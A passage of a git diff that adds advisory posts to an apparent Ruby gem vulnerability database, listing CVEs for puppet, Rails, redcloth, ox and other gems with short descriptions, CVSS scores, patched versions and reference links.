http://osvdb.org/77199 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/71364 + - http://openwall.com/lists/oss-security/2011/11/18/8 + - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/50722 + - https://web.archive.org/web/20201208053819/http://www.securitytracker.com/id?1026342 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-1989.md b/advisories/_posts/2017-10-24-CVE-2012-1989.md new file mode 100644 index 00000000..743d3b1f --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-1989.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2012-1989 (puppet): Arbitrary File Write Access in Puppet' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-1989 + ghsa: c5qq-g673-5p49 + url: https://www.puppet.com/security/cve/cve-2012-1989-arbitrary-file-write-access + title: Arbitrary File Write Access in Puppet + date: 2017-10-24 + description: |- + telnet.rb in Puppet 2.7.x before 2.7.13 and Puppet Enterprise + (PE) 1.2.x, 2.0.x, and 2.5.x before 2.5.1 allows local users + to overwrite arbitrary files via a symlink attack on the + NET::Telnet connection log (/tmp/out.log). + cvss_v2: 3.6 + unaffected_versions: + - "< 2.7.1" + patched_versions: + - "~> 2.5.1" + - ">= 2.7.13" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-1989 + - https://www.puppet.com/security/cve/cve-2012-1989-arbitrary-file-write-access + - https://github.com/advisories/GHSA-c5qq-g673-5p49 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/74797 + - https://security.gentoo.org/glsa/201208-02 + - http://ubuntu.com/usn/usn-1419-1 + - http://lists.opensuse.org/opensuse-updates/2012-05/msg00012.html + - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/52975 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/49136 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/48748 + - https://web.archive.org/web/20121025194938/http://secunia.com/advisories/48743 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-2660.md b/advisories/_posts/2017-10-24-CVE-2012-2660.md new file mode 100644 index 00000000..1338b9ee --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-2660.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2012-2660 (actionpack): Unsafe Query Generation Risk in Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2012-2660 + ghsa: hgpp-pp89-4fgf + url: https://groups.google.com/g/rubyonrails-security/c/8SA-M3as7A8/m/Mr9fi9X4kNgJ + title: Unsafe Query Generation Risk in Ruby on Rails + date: 2017-10-24 + description: |- + actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails + before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not + properly consider differences in parameter handling between the + Active Record component and the Rack interface, which allows remote + attackers to bypass intended database-query restrictions and perform + NULL checks via a crafted request, as demonstrated by certain + "[nil]" values, a related issue to CVE-2012-2694. + cvss_v2: 6.4 + patched_versions: + - "~> 3.0.13" + - "~> 3.1.5" + - ">= 3.2.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-2660 + - https://groups.google.com/g/rubyonrails-security/c/8SA-M3as7A8/m/Mr9fi9X4kNgJ + - https://github.com/advisories/GHSA-hgpp-pp89-4fgf + - http://rhn.redhat.com/errata/RHSA-2013-0154.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00002.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00014.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00016.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00017.html + - http://lists.opensuse.org/opensuse-updates/2012-08/msg00046.html +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-2694.md b/advisories/_posts/2017-10-24-CVE-2012-2694.md new file mode 100644 index 00000000..fbc2f8fc --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-2694.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2012-2694 (actionpack): Unsafe Query Generation Risk in Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2012-2694 + ghsa: q34c-48gc-m9g8 + url: https://groups.google.com/g/rubyonrails-security/c/jILZ34tAHF4/m/7x0hLH-o0-IJ + title: Unsafe Query Generation Risk in Ruby on Rails + date: 2017-10-24 + description: |- + actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails + before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not + properly consider differences in parameter handling between the + Active Record component and the Rack interface, which allows remote + attackers to bypass intended database-query restrictions and perform + NULL checks via a crafted request, as demonstrated by certain + "['xyz', nil]" values, a related issue to CVE-2012-2660. + cvss_v2: 4.3 + patched_versions: + - "~> 3.0.14" + - "~> 3.1.6" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-2694 + - https://groups.google.com/g/rubyonrails-security/c/jILZ34tAHF4/m/7x0hLH-o0-IJ + - https://github.com/advisories/GHSA-q34c-48gc-m9g8 + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00002.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00014.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00016.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00017.html + - http://lists.opensuse.org/opensuse-updates/2012-08/msg00046.html + - http://rhn.redhat.com/errata/RHSA-2013-0154.html +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-2695.md b/advisories/_posts/2017-10-24-CVE-2012-2695.md new file mode 100644 index 00000000..6968fab6 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-2695.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2012-2695 (activerecord): SQL Injection Vulnerability in Ruby on Rails' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2012-2695 + ghsa: 76wq-xw4h-f8wj + url: https://groups.google.com/g/rubyonrails-security/c/l4L0TEVAz1k/m/Vr84sD9B464J + title: SQL Injection Vulnerability in Ruby on Rails + date: 2017-10-24 + description: |- + The Active Record component in Ruby on Rails before 3.0.14, 3.1.x + before 3.1.6, and 3.2.x before 3.2.6 does not properly implement + the passing of request data to a where method in an ActiveRecord + class, which allows remote attackers to conduct certain SQL + injection attacks via nested query parameters that leverage + improper handling of nested hashes, a related issue to CVE-2012-2661. + cvss_v2: 7.5 + patched_versions: + - "~> 3.0.14" + - "~> 3.1.6" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-2695 + - https://groups.google.com/g/rubyonrails-security/c/l4L0TEVAz1k/m/Vr84sD9B464J + - https://github.com/advisories/GHSA-76wq-xw4h-f8wj + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00002.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00014.html + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00016.html + - http://lists.opensuse.org/opensuse-updates/2012-08/msg00046.html + - http://rhn.redhat.com/errata/RHSA-2013-0154.html +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-3408.md b/advisories/_posts/2017-10-24-CVE-2012-3408.md new file mode 100644 index 00000000..dfd2cbba --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-3408.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2012-3408 (puppet): Agent Imprersonation in Puppet' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-3408 + ghsa: vxf6-w9mp-95hm + url: https://www.puppet.com/security/cve/cve-2012-3408-agent-impersonation + title: Agent Imprersonation in Puppet + date: 2017-10-24 + description: |- + lib/puppet/network/authstore.rb in Puppet before 2.7.18, and + Puppet Enterprise before 2.5.2, supports use of IP addresses in + certnames without warning of potential risks, which might allow + remote attackers to spoof an agent by acquiring a previously + used IP address. + cvss_v2: 2.6 + patched_versions: + - ">= 2.7.18" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-3408 + - https://www.puppet.com/security/cve/cve-2012-3408-agent-impersonation + - https://github.com/puppetlabs/puppet/commit/ab9150baa1b738467a33b01df1d90e076253fbbd + - https://github.com/advisories/GHSA-vxf6-w9mp-95hm + - https://bugzilla.redhat.com/show_bug.cgi?id=839166 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-3865.md b/advisories/_posts/2017-10-24-CVE-2012-3865.md new file mode 100644 index 00000000..defd876a --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-3865.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2012-3865 (puppet): Arbitrary file delete/D.O.S on Puppet Master' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-3865 + ghsa: g89m-3wjw-h857 + url: https://www.puppet.com/security/cve/overview-cve-2012-3865-arbitrary-file-delete/dos-puppet-master + title: Arbitrary file delete/D.O.S on Puppet Master + date: 2017-10-24 + description: |- + Directory traversal vulnerability in lib/puppet/reports/store.rb + in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet + Enterprise before 2.5.2, when Delete is enabled in auth.conf, + allows remote authenticated users to delete arbitrary files on + the puppet master server via a .. (dot dot) in a node name. + cvss_v2: 3.5 + patched_versions: + - "~> 2.6.17" + - ">= 2.7.18" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-3865 + - https://www.puppet.com/security/cve/overview-cve-2012-3865-arbitrary-file-delete/dos-puppet-master + - https://github.com/puppetlabs/puppet/commit/554eefc55f57ed2b76e5ee04d8f194d36f6ee67f + - https://github.com/puppetlabs/puppet/commit/d80478208d79a3e6d6cb1fbc525e24817fe8c4c6 + - https://github.com/advisories/GHSA-g89m-3wjw-h857 + - https://bugzilla.redhat.com/show_bug.cgi?id=839131 + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00006.html + - http://www.debian.org/security/2012/dsa-2511 + - http://www.ubuntu.com/usn/USN-1506-1 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-3866.md b/advisories/_posts/2017-10-24-CVE-2012-3866.md new file mode 100644 index 00000000..37a7a5b7 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-3866.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2012-3866 (puppet): last_run_report.yaml is world readable' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-3866 + ghsa: 8jxj-9r5f-w3m2 + url: https://www.puppet.com/security/cve/cve-2012-3866-lastrunreportyaml-world-readable + title: last_run_report.yaml is world readable + date: 2017-10-24 + description: |- + lib/puppet/defaults.rb in Puppet 2.7.x before 2.7.18, and Puppet + Enterprise before 2.5.2, uses 0644 permissions for last_run_report.yaml, + which allows local users to obtain sensitive configuration information + by leveraging access to the puppet master server to read this file. + unaffected_versions: + - "< 2.7.0" + patched_versions: + - ">= 2.7.18" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-3866 + - https://www.puppet.com/security/cve/cve-2012-3866-lastrunreportyaml-world-readable + - https://github.com/puppetlabs/puppet/commit/fd44bf5e6d0d360f6a493d663b653c121fa83c3f + - https://github.com/advisories/GHSA-8jxj-9r5f-w3m2 + - https://bugzilla.redhat.com/show_bug.cgi?id=839135 + - http://lists.opensuse.org/opensuse-updates/2012-07/msg00036.html + - http://www.debian.org/security/2012/dsa-2511 + - http://www.ubuntu.com/usn/USN-1506-1 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-3867.md b/advisories/_posts/2017-10-24-CVE-2012-3867.md new file mode 100644 index 00000000..92953968 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-3867.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2012-3867 (puppet): Insufficient input validation' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-3867 + ghsa: q44r-f2hm-v76v + url: https://www.puppet.com/security/cve/cve-2012-3867-insufficient-input-validation + title: Insufficient input validation + date: 2017-10-24 + description: |- + lib/puppet/ssl/certificate_authority.rb in Puppet before 2.6.17 and + 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, does not + properly restrict the characters in the Common Name field of a + Certificate Signing Request (CSR), which makes it easier for + user-assisted remote attackers to trick administrators into + signing a crafted agent certificate via ANSI control sequences. + cvss_v2: 4.3 + patched_versions: + - "~> 2.6.17" + - ">= 2.7.18" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-3867 + - https://www.puppet.com/security/cve/cve-2012-3867-insufficient-input-validation + - https://github.com/puppetlabs/puppet/commit/dfedaa5fa841ccf335245a748b347b7c7c236640 + - https://github.com/puppetlabs/puppet/commit/f3419620b42080dad3b0be14470b20a972f13c50 + - https://github.com/advisories/GHSA-q44r-f2hm-v76v + - https://bugzilla.redhat.com/show_bug.cgi?id=839158 + - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00006.html + - http://lists.opensuse.org/opensuse-updates/2012-07/msg00036.html + - http://www.debian.org/security/2012/dsa-2511 + - http://www.ubuntu.com/usn/USN-1506-1 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-6662.md b/advisories/_posts/2017-10-24-CVE-2012-6662.md new file mode 100644 index 00000000..b327bb15 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-6662.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2012-6662 (jquery-ui-rails): Moderate severity vulnerability that affects + jquery-ui' +comments: false +categories: +- jquery-ui-rails +advisory: + gem: jquery-ui-rails + cve: 2012-6662 + ghsa: qqxp-xp9v-vvx6 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-6662 + title: Moderate severity vulnerability that affects jquery-ui + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in the default content option + in jquery.ui.tooltip.js in the Tooltip widget in jQuery UI before + 1.10.0 allows remote attackers to inject arbitrary web script or + HTML via the title attribute, which is not properly handled in the + autocomplete combo box demo. + cvss_v2: 4.3 + patched_versions: + - ">= 4.0.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-6662 + - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/61a8e3f50796118e9f49fbd224b67d4065b40c50 + - https://github.com/jquery/jquery-ui/commit/f2854408cce7e4b7fc6bf8676761904af9c96bde + - https://github.com/jquery/jquery-ui/commit/5fee6fd5000072ff32f2d65b6451f39af9e0e39e + - http://bugs.jqueryui.com/ticket/8859 + - http://bugs.jqueryui.com/ticket/8861 + - https://github.com/jquery/jquery/issues/2432 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/98697 + - http://rhn.redhat.com/errata/RHSA-2015-0442.html + - http://rhn.redhat.com/errata/RHSA-2015-1462.html + - http://seclists.org/oss-sec/2014/q4/613 + - http://seclists.org/oss-sec/2014/q4/616 + - http://www.securityfocus.com/bid/71107 + - https://github.com/advisories/GHSA-qqxp-xp9v-vvx6 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2012-6684.md b/advisories/_posts/2017-10-24-CVE-2012-6684.md new file mode 100644 index 00000000..e7aa860b --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2012-6684.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2012-6684 (redcloth): RedCloth Cross-site Scripting vulnerability' +comments: false +categories: +- redcloth +advisory: + gem: redcloth + cve: 2012-6684 + ghsa: r23g-3qw4-gfh2 + url: http://co3k.org/blog/redcloth-unfixed-xss-en + title: RedCloth Cross-site Scripting vulnerability + date: 2017-10-24 + description: Cross-site scripting (XSS) vulnerability in the RedCloth library 4.2.9 + for Ruby and earlier allows remote attackers to inject arbitrary web script or + HTML via a "javascript:" URI. + cvss_v2: 4.3 + patched_versions: + - ">= 4.3.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-6684 + - http://co3k.org/blog/redcloth-unfixed-xss-en + - https://gist.github.com/co3k/75b3cb416c342aa1414c + - https://github.com/jgarber/redcloth/commit/b24f03db023d1653d60dd33b28e09317cd77c6a0 + - https://github.com/advisories/GHSA-r23g-3qw4-gfh2 + - http://seclists.org/fulldisclosure/2014/Dec/50 + - http://www.debian.org/security/2015/dsa-3168 + - https://web.archive.org/web/20150128115714/http://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss +--- diff --git a/advisories/_posts/2017-10-24-CVE-2013-1655.md b/advisories/_posts/2017-10-24-CVE-2013-1655.md new file mode 100644 index 00000000..81d583f3 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2013-1655.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2013-1655 (puppet): Unauthenticated Remote Code Execution Vulnerability' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2013-1655 + ghsa: 574q-fxfj-wv6h + url: https://www.puppet.com/security/cve/cve-2013-1655-unauthenticated-remote-code-execution-vulnerability + title: Unauthenticated Remote Code Execution Vulnerability + date: 2017-10-24 + description: |- + Puppet 2.7.x before 2.7.21 and 3.1.x before 3.1.1, when running + Ruby 1.9.3 or later, allows remote attackers to execute arbitrary + code via vectors related to "serialized attributes." + cvss_v2: 7.5 + unaffected_versions: + - "< 2.7.0" + patched_versions: + - "~> 2.7.21" + - ">= 3.1.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-1655 + - https://www.puppet.com/security/cve/cve-2013-1655-unauthenticated-remote-code-execution-vulnerability + - https://github.com/advisories/GHSA-574q-fxfj-wv6h + - http://lists.opensuse.org/opensuse-security-announce/2013-04/msg00004.html + - http://lists.opensuse.org/opensuse-updates/2013-04/msg00056.html + - http://ubuntu.com/usn/usn-1759-1 + - http://www.debian.org/security/2013/dsa-2643 + - https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2013-1655 + - https://web.archive.org/web/20210509162357/https://www.securityfocus.com/bid/46291 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2013-1812.md b/advisories/_posts/2017-10-24-CVE-2013-1812.md new file mode 100644 index 00000000..49acff72 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2013-1812.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2013-1812 (ruby-openid): Vulnerable to XIE DoS attacks' +comments: false +categories: +- ruby-openid +advisory: + gem: ruby-openid + cve: 2013-1812 + ghsa: 6c8p-qphv-668v + url: https://github.com/openid/ruby-openid/blob/master/CHANGELOG.md + title: Vulnerable to XIE DoS attacks + date: 2017-10-24 + description: |- + The ruby-openid gem before 2.2.2 for Ruby allows remote OpenID + providers to cause a denial of service (CPU consumption) via + (1) a large XRDS document or + (2) an XML Entity Expansion (XEE) attack. + cvss_v2: 4.3 + patched_versions: + - ">= 2.2.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-1812 + - https://github.com/openid/ruby-openid/blob/master/CHANGELOG.md + - https://github.com/openid/ruby-openid/pull/43 + - https://github.com/openid/ruby-openid/commit/a3693cef06049563f5b4e4824f4d3211288508ed + - https://github.com/advisories/GHSA-6c8p-qphv-668v + - https://bugzilla.redhat.com/show_bug.cgi?id=918134 + - http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120204.html + - http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120361.html + - http://www.openwall.com/lists/oss-security/2013/03/03/8 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2013-3567.md b/advisories/_posts/2017-10-24-CVE-2013-3567.md new file mode 100644 index 00000000..5997b53e --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2013-3567.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2013-3567 (puppet): Unauthenticated Remote Code Execution Vulnerability' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2013-3567 + ghsa: f7p5-w2cr-7cp7 + url: https://www.puppet.com/security/cve/cve-2013-3567-unauthenticated-remote-code-execution-vulnerability + title: Unauthenticated Remote Code Execution Vulnerability + date: 2017-10-24 + description: |- + Puppet 2.7.x before 2.7.22 and 3.2.x before 3.2.2, and Puppet + Enterprise before 2.8.2, deserializes untrusted YAML, which allows + remote attackers to instantiate arbitrary Ruby classes and execute + arbitrary code via a crafted REST API call. + cvss_v2: 7.5 + patched_versions: + - "~> 2.7.22" + - ">= 3.2.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-3567 + - https://www.puppet.com/security/cve/cve-2013-3567-unauthenticated-remote-code-execution-vulnerability + - https://github.com/advisories/GHSA-f7p5-w2cr-7cp7 + - http://lists.opensuse.org/opensuse-security-announce/2013-08/msg00002.html + - http://lists.opensuse.org/opensuse-security-announce/2013-08/msg00019.html + - http://rhn.redhat.com/errata/RHSA-2013-1283.html + - http://rhn.redhat.com/errata/RHSA-2013-1284.html + - http://www.debian.org/security/2013/dsa-2715 + - http://www.ubuntu.com/usn/USN-1886-1 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2013-4761.md b/advisories/_posts/2017-10-24-CVE-2013-4761.md new file mode 100644 index 00000000..b85589b4 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2013-4761.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2013-4761 (puppet): Puppet `resource_type` Remote Code Execution Vulnerability' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2013-4761 + ghsa: cj43-9h3w-v976 + url: https://www.puppet.com/security/cve/cve-2013-4761-resourcetype-remote-code-execution-vulnerability + title: Puppet `resource_type` Remote Code Execution Vulnerability + date: 2017-10-24 + description: |- + Unspecified vulnerability in Puppet 2.7.x before 2.7.23 and + 3.2.x before 3.2.4, and Puppet Enterprise 2.8.x before + 2.8.3 and 3.0.x before 3.0.1, allows remote attackers to execute + arbitrary Ruby programs from the master via the resource_type + service. + + NOTE: this vulnerability can only be exploited using unspecified + "local file system access" to the Puppet Master. + cvss_v2: 5.1 + unaffected_versions: + - "< 2.7.0" + patched_versions: + - "~> 2.7.23" + - ">= 3.2.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-4761 + - https://www.puppet.com/security/cve/cve-2013-4761-resourcetype-remote-code-execution-vulnerability + - https://github.com/advisories/GHSA-cj43-9h3w-v976 + - http://lists.opensuse.org/opensuse-security-announce/2014-01/msg00009.html + - http://rhn.redhat.com/errata/RHSA-2013-1283.html + - http://rhn.redhat.com/errata/RHSA-2013-1284.html + - http://www.debian.org/security/2013/dsa-2761 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2014-0081.md b/advisories/_posts/2017-10-24-CVE-2014-0081.md new file mode 100644 index 00000000..7f1a813d --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2014-0081.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2014-0081 (rails): Rails vulnerable to Cross-site Scripting' +comments: false +categories: +- rails +advisory: + gem: rails + cve: 2014-0081 + ghsa: m46p-ggm5-5j83 + url: https://github.com/rails/rails/commit/08d0a11a3f62718d601d39e617c834759cf59bbb + title: Rails vulnerable to Cross-site Scripting + date: 2017-10-24 + description: |- + Multiple cross-site scripting (XSS) vulnerabilities in + "actionview/lib/action_view/helpers/number_helper.rb" + in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 + allow remote attackers to inject arbitrary web script or HTML via the + (1) format, (2) negative_format, or (3) units parameter to the + (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper. + cvss_v2: 4.3 + patched_versions: + - "~> 3.2.17" + - "~> 4.0.3" + - "~> 4.1.0.beta2" + - ">= 4.1.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-0081 + - http://lists.opensuse.org/opensuse-updates/2014-02/msg00081.html + - http://openwall.com/lists/oss-security/2014/02/18/8 + - http://rhn.redhat.com/errata/RHSA-2014-0215.html + - http://rhn.redhat.com/errata/RHSA-2014-0306.html + - https://web.archive.org/web/20140911141416/http://www.securitytracker.com/id/1029782 + - https://web.archive.org/web/20170307202606/http://www.securityfocus.com/bid/65647 + - https://github.com/advisories/GHSA-m46p-ggm5-5j83 + - https://github.com/rails/rails/commit/08d0a11a3f62718d601d39e617c834759cf59bbb +--- diff --git a/advisories/_posts/2017-10-24-CVE-2014-3248.md b/advisories/_posts/2017-10-24-CVE-2014-3248.md new file mode 100644 index 00000000..224fe64b --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2014-3248.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2014-3248 (puppet): Moderate severity vulnerability that affects facter, + hiera, mcollective-client, and puppet' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2014-3248 + ghsa: 92v7-pq4h-58j5 + url: https://github.com/advisories/GHSA-92v7-pq4h-58j5 + title: Moderate severity vulnerability that affects facter, hiera, mcollective-client, + and puppet + date: 2017-10-24 + description: |- + Untrusted search path vulnerability in Puppet Enterprise 2.8 before 2.8.7, + Puppet before 2.7.26 and 3.x before 3.6.2, Facter 1.6.x and 2.x before 2.0.2, Hiera + before 1.3.4, and Mcollective before 2.5.2, when running with Ruby 1.9.1 or earlier, + allows local users to gain privileges via a Trojan horse file in the current working + directory, as demonstrated using (1) rubygems/defaults/operating_system.rb, (2) + Win32API.rb, (3) Win32API.so, (4) safe_yaml.rb, (5) safe_yaml/deep.rb, or (6) safe_yaml/deep.so; + or (7) operatingsystem.rb, (8) operatingsystem.so, (9) osfamily.rb, or (10) osfamily.so + in puppet/confine. + patched_versions: + - "~> 2.7.26" + - ">= 3.6.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-3248 + - https://github.com/advisories/GHSA-92v7-pq4h-58j5 + - http://puppetlabs.com/security/cve/cve-2014-3248 + - http://rowediness.com/2014/06/13/cve-2014-3248-a-little-problem-with-puppet/ + - http://secunia.com/advisories/59197 + - http://secunia.com/advisories/59200 + - http://www.securityfocus.com/bid/68035 + - https://github.com/rubysec/ruby-advisory-db/issues/238 + - https://sca.analysiscenter.veracode.com/vulnerability-database/security/elevation-privileges-untrusted-search/ruby/sid-1586/summary +--- diff --git a/advisories/_posts/2017-10-24-CVE-2016-7798.md b/advisories/_posts/2017-10-24-CVE-2016-7798.md new file mode 100644 index 00000000..940bf342 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2016-7798.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2016-7798 (openssl): Incorrect handling of initialization vector in the + GCM mode in OpenSSL' +comments: false +categories: +- openssl +advisory: + gem: openssl + cve: 2016-7798 + ghsa: 6h88-qjpv-p32m + url: https://github.com/ruby/openssl/issues/49 + title: Incorrect handling of initialization vector in the GCM mode in OpenSSL + date: 2017-10-24 + description: |- + The openssl gem for Ruby uses the same initialization vector (IV) in + GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for + context-dependent attackers to bypass the encryption protection mechanism. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 2.0.0" +--- diff --git a/advisories/_posts/2017-10-27-CVE-2017-15928.md b/advisories/_posts/2017-10-27-CVE-2017-15928.md new file mode 100644 index 00000000..7e520d68 --- /dev/null +++ b/advisories/_posts/2017-10-27-CVE-2017-15928.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2017-15928 (ox): ox ruby gem segmentation fault via parse_obj' +comments: false +categories: +- ox +advisory: + gem: ox + cve: 2017-15928 + ghsa: pjj4-w39g-pw54 + url: https://github.com/ohler55/ox/issues/194 + title: ox ruby gem segmentation fault via parse_obj + date: 2017-10-27 + description: |- + In the Ox gem 2.8.0 for Ruby, the process crashes with a segmentation + fault when a crafted input is supplied to parse_obj. NOTE: the vendor has stated + "Ox should handle the error more gracefully" but has not confirmed a security implication. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 2.8.1" +--- diff --git a/advisories/_posts/2017-10-29-CVE-2017-16229.md b/advisories/_posts/2017-10-29-CVE-2017-16229.md new file mode 100644 index 00000000..c35804fb --- /dev/null +++ b/advisories/_posts/2017-10-29-CVE-2017-16229.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2017-16229 (ox): ox ruby gem stack overflow in sax_parse' +comments: false +categories: +- ox +advisory: + gem: ox + cve: 2017-16229 + ghsa: wfwm-chj7-w59r + url: https://github.com/ohler55/ox/issues/195 + title: ox ruby gem stack overflow in sax_parse + date: 2017-10-29 + description: |- + In the Ox gem 2.8.1 for Ruby, the process crashes with a stack-based + buffer over-read in the read_from_str function in sax_buf.c when a crafted input + is supplied to sax_parse. + cvss_v2: 4.3 + cvss_v3: 5.5 + patched_versions: + - ">= 2.8.2" +--- diff --git a/advisories/_posts/2017-11-03-CVE-2017-16516.md b/advisories/_posts/2017-11-03-CVE-2017-16516.md new file mode 100644 index 00000000..c721018c --- /dev/null +++ b/advisories/_posts/2017-11-03-CVE-2017-16516.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2017-16516 (yajl-ruby): Flaw in yajl-ruby gem may cause a DoS' +comments: false +categories: +- yajl-ruby +advisory: + gem: yajl-ruby + cve: 2017-16516 + ghsa: wwh7-4jw9-33x6 + url: https://nvd.nist.gov/vuln/detail/CVE-2017-16516 + title: Flaw in yajl-ruby gem may cause a DoS + date: 2017-11-03 + description: |- + In the yajl-ruby gem 1.3.0 for Ruby, when a crafted JSON file is supplied to + Yajl::Parser.new.parse, the whole ruby process crashes with a SIGABRT in the + yajl_string_decode function in yajl_encode.c. This results in the whole ruby + process terminating and potentially a denial of service. + cvss_v3: 7.5 + patched_versions: + - ">= 1.3.1" + related: + url: + - https://github.com/brianmario/yajl-ruby/issues/176 +--- diff --git 